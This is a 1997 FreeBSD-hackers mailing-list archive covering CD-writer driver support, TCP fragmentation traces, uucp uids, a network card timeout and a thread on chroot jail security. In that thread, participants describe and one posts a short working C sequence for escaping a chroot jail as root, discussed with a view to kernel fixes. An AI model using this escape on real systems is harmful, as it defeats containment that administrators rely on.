12:09:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA03038 for hackers-outgoing; Thu, 29 May 1997 12:09:42 -0700 (PDT) Received: from vdp01.vailsystems.com (root@vdp01.vailsystems.com [207.152.98.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA03032 for ; Thu, 29 May 1997 12:09:40 -0700 (PDT) Received: from crocodile.vale.com (crocodile [192.168.128.47]) by vdp01.vailsystems.com (8.8.3/8.7.3) with ESMTP id OAA01407; Thu, 29 May 1997 14:09:30 -0500 (CDT) Received: (from daniel@localhost) by crocodile.vale.com (8.8.3/8.7.3) id OAA09343; Thu, 29 May 1997 14:09:29 -0500 (CDT) Date: Thu, 29 May 1997 14:09:29 -0500 (CDT) From: Dan Riley To: John Hay cc: "Jordan K. Hubbard" , tom@tomqnx.com, hackers@FreeBSD.ORG Subject: Re: HP 6020 Problems In-Reply-To: <199705291802.UAA09115@zibbi.mikom.csir.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 29 May 1997, John Hay wrote: > > Well, I was using a HP6020 from a late 2.2.0-BETA onwards. I use it on > a NCR controller, if it makes a difference. The only hickup was that > you have to eject the media between accesses. This was supposedly fixed > a while back, but I haven't upgraded after that, so I don't know if it > works for me also. > > John > -- > John Hay -- John.Hay@mikom.csir.co.za > Has anyone had any luck with their HP or Philips cd-writer on a Adaptec 2940UW? If not what is the preferred controller for this application? TIA Regards, Dan Riley From owner-freebsd-hackers Thu May 29 12:22:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA03748 for hackers-outgoing; Thu, 29 May 1997 12:22:28 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA03741 for ; Thu, 29 May 1997 12:22:26 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id MAA29192; Thu, 29 May 1997 12:21:59 -0700 (PDT) To: Dan Riley cc: John Hay , tom@tomqnx.com, hackers@FreeBSD.ORG Subject: Re: HP 6020 Problems In-reply-to: Your message of "Thu, 29 May 1997 14:09:29 CDT." Date: Thu, 29 May 1997 12:21:59 -0700 Message-ID: <29188.864933719@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Has anyone had any luck with their HP or Philips cd-writer on a Adaptec > 2940UW? If not what is the preferred controller for this application? That's exactly what I'm using. Works great. Jordan From owner-freebsd-hackers Thu May 29 12:44:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA04914 for hackers-outgoing; Thu, 29 May 1997 12:44:32 -0700 (PDT) Received: from punt-2.mail.demon.net (relay-11.mail.demon.net [194.217.242.137]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA04907 for ; Thu, 29 May 1997 12:44:26 -0700 (PDT) Received: from erlenstar.demon.co.uk ([194.222.144.22]) by punt-2.mail.demon.net id aa1108508; 29 May 97 17:13 BST Received: (from andrew@localhost) by erlenstar.demon.co.uk (8.8.5/8.8.5) id RAA16018; Thu, 29 May 1997 17:12:55 +0100 (BST) To: Terry Lambert Cc: Warner Losh , hackers@freebsd.org Subject: Re: Correct way to chroot for shell account users? References: <199705291456.HAA03526@phaeton.artisoft.com> From: Andrew Gierth In-Reply-To: Terry Lambert's message of Thu, 29 May 1997 07:56:26 -0700 (MST) X-Mayan-Date: Long count = 12.19.4.3.13; tzolkin = 11 Ben; haab = 11 Zip X-Attribution: AG Date: 29 May 1997 17:12:54 +0100 Message-ID: <8767w2p88p.fsf@erlenstar.demon.co.uk> Lines: 56 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [CC list reduced] >>>>> "Terry" == Terry Lambert writes: [Warner Losh] >> Basically, and this has been posted in many places, you get a >> handle on something outside the jail. You do this by basically >> opening '/', mkdir xxx, chroot xxx, then fchdir to the old '/' and >> then chdir '..'. There are things that can be done in the kernel, >> but they are either very expensive or very hard to get right (and >> not break anything) or both. There's another, simpler, way that doesn't need a handle on '/'. Terry> I really don't see how either of these could possibly work, Terry> given: Terry> 1) namei() refusing to traverse ".." from the chroot'ed root Terry> vnode (this is broken, but then almost all of namei() is Terry> broken, and no one cares but me...). Terry> 2) The chroot() call takes a path, which namei() will look up Terry> relative Terry> 3) The link() system call in /sys/kern/vfs_syscalls.c has code Terry> to prevent hard links on directories: That's what he meant by "However, the ln step is no longer allowed"... Terry> 4) You don't have to let them have an open fd to the original Terry> "/" when you throw them in jail. Not needed. The simpler way (which relies on standards-compliant behaviour of chroot(), which must not change the current directory) is simply to do: mkdir("xxx"); chroot("xxx"); /* note: "." is *outside* the root subtree at this point */ for (i = 0; i < 1000; i++) chdir(".."); chroot("."); and you're out. Terry> 5) Calling chroot(2) is restricted to the superuser anyway, Terry> and only an idiot would try to put a root user in a chroot Terry> jail anyway (or put an ordinary user in a chroot jail with Terry> suid/sgid binaries). Exactly. -- Andrew. From owner-freebsd-hackers Thu May 29 12:55:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA05429 for hackers-outgoing; Thu, 29 May 1997 12:55:37 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA05420 for ; Thu, 29 May 1997 12:55:32 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id MAA24184; Thu, 29 May 1997 12:50:16 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd024162; Thu May 29 19:50:10 1997 Message-ID: <338DDDC8.794BDF32@whistle.com> Date: Thu, 29 May 1997 12:49:28 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Warner Losh CC: Terry Lambert , dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: <199705291712.KAA03731@phaeton.artisoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote: > > That would likely be the simplest and safest fix. That would make > chroot jails safer. I don't know if that would fix the jailbreak > problems completely, but it would be a start. Another "fix" would be > to disallow chroot when your root directory is "/" (absolute). > It is relatively easy and cheap to check if any given directory is within your chroot hierarchy. if ( you are chrooted ) { search backwards towards / for either the real root or the chroot'd root if you find the chroot root, return YES } return NO remember that most directoried between an active directory and / are probably in a cache somewhere. (name or otherwise) and the test only does expensive work when there SI a chroot directory so for 99.9% or processes it's not done. (except on anon ftp servers). this is basically the code in getcwd() with a twist. julian From owner-freebsd-hackers Thu May 29 13:08:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA06121 for hackers-outgoing; Thu, 29 May 1997 13:08:20 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA06116 for ; Thu, 29 May 1997 13:08:17 -0700 (PDT) Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id NAA26915 for ; Thu, 29 May 1997 13:08:07 -0700 (PDT) Received: from gid.co.uk (uucp@localhost) by isbalham.ist.co.uk (8.8.4/8.8.4) with UUCP id UAA06094; Thu, 29 May 1997 20:57:58 +0100 (BST) Received: from [194.32.164.2] by seagoon.gid.co.uk; Thu, 29 May 1997 20:59:28 +0100 X-Sender: rb@194.32.164.1 Message-Id: In-Reply-To: References: Your message of "Thu, 29 May 1997 07:56:26 PDT." <199705291456.HAA03526@phaeton.artisoft.com> <199705291456.HAA03526@phaeton.artisoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 29 May 1997 20:56:25 +0100 To: Warner Losh From: Bob Bishop Subject: Re: Correct way to chroot for shell account users? Cc: dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG, Terry Lambert Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm sure I'm being desperately naive here, but isn't it sufficient for safety to make chroot(2) a successful no-op unless / is really / (ie the process isn't chrooted already)? -- Bob Bishop (0118) 977 4017 international code +44 118 rb@gid.co.uk fax (0118) 989 4254 between 0800 and 1800 UK From owner-freebsd-hackers Thu May 29 13:18:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA06668 for hackers-outgoing; Thu, 29 May 1997 13:18:11 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA06663 for ; Thu, 29 May 1997 13:18:08 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <16622(12)>; Thu, 29 May 1997 13:17:36 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177489>; Thu, 29 May 1997 13:17:31 -0700 To: Chris Csanady cc: hackers@freebsd.org Subject: Re: TCP/IP bug? Unnecessary fragmentation... In-reply-to: Your message of "Wed, 28 May 97 19:49:39 PDT." <199705290249.VAA01968@friley01.res.iastate.edu> Date: Thu, 29 May 1997 13:17:17 PDT From: Bill Fenner Message-Id: <97May29.131731pdt.177489@crevenia.parc.xerox.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Another oddity is that if you close the connection immediately, for the same data sizes that it does this odd fragmentation (100 < S < 208), the FIN is piggybacked on the 2nd data segment. This doesn't happen with any other data size. Bill 200 bytes: 20:07:36.948660 sundae.1156 > crevenia.discard: S 3914627240:3914627240(0) win 16384 (DF) 20:07:36.950164 crevenia.discard > sundae.1156: S 703872000:703872000(0) ack 3914627241 win 4096 20:07:36.950390 sundae.1156 > crevenia.discard: . ack 1 win 17520 (DF) 20:07:36.950722 sundae.1156 > crevenia.discard: P 1:101(100) ack 1 win 17520 (DF) 20:07:36.951096 sundae.1156 > crevenia.discard: FP 101:201(100) ack 1 win 17520 (DF) 20:07:36.951753 crevenia.discard > sundae.1156: . ack 202 win 3896 20:07:36.965928 crevenia.discard > sundae.1156: F 1:1(0) ack 202 win 4096 20:07:36.966140 sundae.1156 > crevenia.discard: . ack 2 win 17520 (DF) 1024 bytes: 20:07:57.229256 sundae.1159 > crevenia.discard: S 3918727601:3918727601(0) win 16384 (DF) 20:07:57.230772 crevenia.discard > sundae.1159: S 706688000:706688000(0) ack 3918727602 win 4096 20:07:57.231011 sundae.1159 > crevenia.discard: . ack 1 win 17520 (DF) 20:07:57.231796 sundae.1159 > crevenia.discard: P 1:1025(1024) ack 1 win 17520 (DF) 20:07:57.232110 sundae.1159 > crevenia.discard: F 1025:1025(0) ack 1 win 17520 (DF) 20:07:57.233398 crevenia.discard > sundae.1159: . ack 1026 win 3072 20:07:57.242112 crevenia.discard > sundae.1159: F 1:1(0) ack 1026 win 4096 20:07:57.242355 sundae.1159 > crevenia.discard: . ack 2 win 17520 (DF) 2048 bytes: 20:08:02.212852 sundae.1160 > crevenia.discard: S 3919846017:3919846017(0) win 16384 (DF) 20:08:02.214375 crevenia.discard > sundae.1160: S 707392000:707392000(0) ack 3919846018 win 4096 20:08:02.214608 sundae.1160 > crevenia.discard: . ack 1 win 17520 (DF) 20:08:02.215719 sundae.1160 > crevenia.discard: . 1:1461(1460) ack 1 win 17520 (DF) 20:08:02.216294 sundae.1160 > crevenia.discard: P 1461:2049(588) ack 1 win 17520 (DF) 20:08:02.216629 sundae.1160 > crevenia.discard: F 2049:2049(0) ack 1 win 17520 (DF) 20:08:02.217980 crevenia.discard > sundae.1160: . ack 2050 win 2048 20:08:02.229945 crevenia.discard > sundae.1160: . ack 2050 win 4096 20:08:02.231652 crevenia.discard > sundae.1160: F 1:1(0) ack 2050 win 4096 20:08:02.231843 sundae.1160 > crevenia.discard: . ack 2 win 17520 (DF) From owner-freebsd-hackers Thu May 29 13:23:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA07061 for hackers-outgoing; Thu, 29 May 1997 13:23:44 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA07053 for ; Thu, 29 May 1997 13:23:38 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16567; Thu, 29 May 1997 22:22:17 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA05077; Thu, 29 May 1997 22:12:05 +0200 (MET DST) Message-ID: <19970529221204.OG15387@uriah.heep.sax.de> Date: Thu, 29 May 1997 22:12:04 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Cc: tom@tomqnx.com (Tom Torrance at home) Subject: Re: HP 6020 Problems References: <27401.864919797@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <27401.864919797@time.cdrom.com>; from Jordan K. Hubbard on May 29, 1997 08:29:57 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > That's weird, since I also just got a 6020i to replace my deceased > 4020i (the HP CDRs have a pretty short lifetime, it must be said) and Hmm. I wonder whether you've got problems with the cooling then? My old Plasmon is still working well, and it's probably even older than your HP 4020i has been. (Although i guess you're burning a lot more than me.) Tom's problem is apparently that he's got a _6020_, not a _6020i_. I didn't even know there were two different guys, it's easy to modify the 6020i entry so it catches both devices. > it was just plug-n-play. Joerg: Did you add something post 2.2.1 to > support the 6020 drive a bit more seamlessly? The only known big problem in 2.2 was that you need to reload the medium after any operation. This has been fixed by Jean-Marc removing the `scsi_stop_medium()' calls, but this fix is not yet on the 2.2 branch. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 13:24:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA07170 for hackers-outgoing; Thu, 29 May 1997 13:24:48 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA07165 for ; Thu, 29 May 1997 13:24:41 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16596; Thu, 29 May 1997 22:24:33 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA05089; Thu, 29 May 1997 22:16:35 +0200 (MET DST) Message-ID: <19970529221635.NB25349@uriah.heep.sax.de> Date: Thu, 29 May 1997 22:16:35 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: tom@tomqnx.com (Tom Torrance at home) Subject: Re: HP 6020 Problems References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tom Torrance at home on May 29, 1997 03:05:24 -0400 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tom Torrance at home wrote: > Jordon's original announcement for Release 2.2.1 stated that the HP 6020 > was supported, so I went and bought one. Hmm, the 6020i actually -- i didn't even know there's a difference. > THis is a REALLY crude hack, but it works well enough to allow me to > fulfill my objective. I offer it here only so that someone who really > knows what they are doing can use the information I have gathered to > implement the necessary support properly. Driver code is far beyond me. I wonder what the second hack is for? > Note that when running the 'burncd' script, the dd command fails at the > end of the copy, How? What? Which? Any SCSI messages? What errno? > Although I got 'burncd' to function for me, more or less, attempting to > execute 'cd-write 1.2' to master a CD locks up the entire systemi, > after the initializing disk info message. cd-write is a totally different beast. It only uses the driver as a loophole in order to do the complete SCSI handling of its own. As such, it offers the ability for a lot more new bugs :). I think that's something where you should contact Jean-Marc directly in order to find and fix the bug. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 13:27:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA07285 for hackers-outgoing; Thu, 29 May 1997 13:27:14 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA07278 for ; Thu, 29 May 1997 13:27:11 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16638 for hackers@FreeBSD.ORG; Thu, 29 May 1997 22:27:04 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA05101; Thu, 29 May 1997 22:19:08 +0200 (MET DST) Message-ID: <19970529221908.FX28346@uriah.heep.sax.de> Date: Thu, 29 May 1997 22:19:08 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: uucp uid's References: <19970529083654.WR06258@uriah.heep.sax.de> <199705291019.UAA00460@labs.usn.blaze.net.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705291019.UAA00460@labs.usn.blaze.net.au>; from David Nugent on May 29, 1997 20:19:16 +1000 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm one. Why do the uid's need to be the same? There isn't a permissions > problem because: > > davidn[~]> l /usr/libexec/uucp/uucico > -r-sr-sr-x 1 uucp dialer 212992 May 12 20:16 /usr/libexec/uucp/uucico* > ^ ^ But group dialer is only there so it can get ahold of the modems. I don't think there's a burning need why all the uucpers should have the same UID, but i figure it doesn't hurt either. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 13:27:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA07344 for hackers-outgoing; Thu, 29 May 1997 13:27:56 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA07337 for ; Thu, 29 May 1997 13:27:51 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16639; Thu, 29 May 1997 22:27:14 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA05124; Thu, 29 May 1997 22:21:32 +0200 (MET DST) Message-ID: <19970529222132.MN03072@uriah.heep.sax.de> Date: Thu, 29 May 1997 22:21:32 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG (FreeBSD-hackers) Cc: pvl@nanoteq.com Subject: Re: ed0 : device timeout References: <199705291506.RAA01207@oskar.nanoteq.co.za> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705291506.RAA01207@oskar.nanoteq.co.za>; from Pierre Van Leeuwen on May 29, 1997 17:06:46 +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Pierre Van Leeuwen wrote: > I get the following message : > ed0 : device timeout > > It doesn't seem to be fatal all the time though. Perhaps you've got an interrupt conflict. If it's an ISA card, make sure you prevent the PCI BIOS from also claiming this IRQ. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 13:40:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA08034 for hackers-outgoing; Thu, 29 May 1997 13:40:09 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA08021 for ; Thu, 29 May 1997 13:40:06 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA04127; Thu, 29 May 1997 13:35:54 -0700 From: Terry Lambert Message-Id: <199705292035.NAA04127@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: rb@gid.co.uk (Bob Bishop) Date: Thu, 29 May 1997 13:35:54 -0700 (MST) Cc: imp@village.org, dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG, terry@lambert.org In-Reply-To: from "Bob Bishop" at May 29, 97 08:56:25 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm sure I'm being desperately naive here, but isn't it sufficient for > safety to make chroot(2) a successful no-op unless / is really / (ie the > process isn't chrooted already)? This ruins a particular croosbuild environment which I personally find convenient. 8-(. But yes, that's the *most* trivial fix. The fix will fail (or become more difficult) if the default root is set and inherited, and the "NULL" token value for "not chroot'ed" goes away. Better to traverse up from the target, and if it's not in the cage, reject it. I prefer storing the parent in the inode so a removed current directory doesn't cause problems with this check, but that's just a matter of personal preference. You could traverse the cache (or fault the entries) as with the getcwd() approach just as easily. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 29 13:43:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA08198 for hackers-outgoing; Thu, 29 May 1997 13:43:43 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA08190 for ; Thu, 29 May 1997 13:43:40 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA04142; Thu, 29 May 1997 13:40:39 -0700 From: Terry Lambert Message-Id: <199705292040.NAA04142@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: imp@village.org (Warner Losh) Date: Thu, 29 May 1997 13:40:39 -0700 (MST) Cc: terry@lambert.org, dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: from "Warner Losh" at May 29, 97 12:27:24 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > : If the vnode in which the ".." entry is being looked up is > : outside the jail, the lookup should return the jail. This > : is the main chroot() bug in namei(). > > You mistakenly assume there is more than one jail. All you have is > one pointer, not a nesting. So once you reset that pointer and you > have pointers outside the jail, you can still use them. You are assuming that I allow you to fchdir() out of the new jail. 8-). > : Currently, it's possible to store a parent directory for every > : directory in the on disk inode, such that it's possible to determine > : the location of any directory inode in an FS hierarchy, and *know* > : that the current directory is outside the jail, and prohibit reverse > : traversals. That this is not done is an error in the UFS directory > : handling code, so it affects FFS, MFS, LFS, and EXT2FS, etc.. > > Yes, but you have to be careful how you do this. The obvious fix > breaks many traditional uses of chroot. Directories are special > beasts, but in general you can't know if a given file is inside a > chroot area or not due to hard links. "Traditional uses" don't rely on an fchdir() out of scope. Personally, I think root should be able to reset the chroot, either by "fchdir( fd); chroot( ".");", or less dangerously, via an fchroot( fd); > : It should be noted that only relative forward paths would then work > : once outside a jail, so you should still be in the real jail. Any > : absolute paths would fail. > > Once you are outside the jail, you can relative path everything. > etc/passwd works just as well :-) I know; my point was that by blocking relative traversals if you are out of hierarchy, you are saved, because absolute traversal is relative to the jail. > : Probably the best fix is to record the hierarchy, as noted above, and > : then provide an fchroot() that is allowed out of the hierarchy. > > I don't understand this. For root reset without the race condition. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 29 13:44:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA08273 for hackers-outgoing; Thu, 29 May 1997 13:44:34 -0700 (PDT) Received: from friley01.res.iastate.edu (friley01.res.iastate.edu [129.186.78.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA08267 for ; Thu, 29 May 1997 13:44:29 -0700 (PDT) Received: from friley01.res.iastate.edu (localhost [127.0.0.1]) by friley01.res.iastate.edu (8.8.5/8.8.5) with ESMTP id PAA04544 for ; Thu, 29 May 1997 15:44:30 -0500 (CDT) Message-Id: <199705292044.PAA04544@friley01.res.iastate.edu> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@freebsd.org Subject: Re: TCP/IP bug? Unnecessary fragmentation... In-reply-to: Your message of Thu, 29 May 1997 13:17:17 -0700. <97May29.131731pdt.177489@crevenia.parc.xerox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 15:44:30 -0500 From: Chris Csanady Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Another oddity is that if you close the connection immediately, for the >same data sizes that it does this odd fragmentation (100 < S < 208), >the FIN is piggybacked on the 2nd data segment. This doesn't happen >with any other data size. I have some graphs, and I believe that it does it at many other sizes too. The performance hit is _much_ more that just mbuf/cluster handling should impose it would seem. It seems to do it up around 2000, 2100(?), 4000... Is this a generic 44BSD problem, or is it FreeBSD specific? Chris > > Bill > >200 bytes: >20:07:36.948660 sundae.1156 > crevenia.discard: S 3914627240:3914627240(0) win 16384 (D F) >20:07:36.950164 crevenia.discard > sundae.1156: S 703872000:703872000(0) ack 3 914627241 win 4096 >20:07:36.950390 sundae.1156 > crevenia.discard: . ack 1 win 17520 (DF) >20:07:36.950722 sundae.1156 > crevenia.discard: P 1:101(100) ack 1 win 17520 ( DF) >20:07:36.951096 sundae.1156 > crevenia.discard: FP 101:201(100) ack 1 win 1752 0 (DF) >20:07:36.951753 crevenia.discard > sundae.1156: . ack 202 win 3896 >20:07:36.965928 crevenia.discard > sundae.1156: F 1:1(0) ack 202 win 4096 >20:07:36.966140 sundae.1156 > crevenia.discard: . ack 2 win 17520 (DF) > >1024 bytes: >20:07:57.229256 sundae.1159 > crevenia.discard: S 3918727601:3918727601(0) win 16384 (D F) >20:07:57.230772 crevenia.discard > sundae.1159: S 706688000:706688000(0) ack 3 918727602 win 4096 >20:07:57.231011 sundae.1159 > crevenia.discard: . ack 1 win 17520 (DF) >20:07:57.231796 sundae.1159 > crevenia.discard: P 1:1025(1024) ack 1 win 17520 (DF) >20:07:57.232110 sundae.1159 > crevenia.discard: F 1025:1025(0) ack 1 win 17520 (DF) >20:07:57.233398 crevenia.discard > sundae.1159: . ack 1026 win 3072 >20:07:57.242112 crevenia.discard > sundae.1159: F 1:1(0) ack 1026 win 4096 >20:07:57.242355 sundae.1159 > crevenia.discard: . ack 2 win 17520 (DF) > >2048 bytes: >20:08:02.212852 sundae.1160 > crevenia.discard: S 3919846017:3919846017(0) win 16384 (D F) >20:08:02.214375 crevenia.discard > sundae.1160: S 707392000:707392000(0) ack 3 919846018 win 4096 >20:08:02.214608 sundae.1160 > crevenia.discard: . ack 1 win 17520 (DF) >20:08:02.215719 sundae.1160 > crevenia.discard: . 1:1461(1460) ack 1 win 17520 (DF) >20:08:02.216294 sundae.1160 > crevenia.discard: P 1461:2049(588) ack 1 win 175 20 (DF) >20:08:02.216629 sundae.1160 > crevenia.discard: F 2049:2049(0) ack 1 win 17520 (DF) >20:08:02.217980 crevenia.discard > sundae.1160: . ack 2050 win 2048 >20:08:02.229945 crevenia.discard > sundae.1160: . ack 2050 win 4096 >20:08:02.231652 crevenia.discard > sundae.1160: F 1:1(0) ack 2050 win 4096 >20:08:02.231843 sundae.1160 > crevenia.discard: . ack 2 win 17520 (DF) From owner-freebsd-hackers Thu May 29 14:21:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA10194 for hackers-outgoing; Thu, 29 May 1997 14:21:00 -0700 (PDT) Received: from mirage.nlink.com.br (mirage.nlink.com.br [200.238.120.3]) by 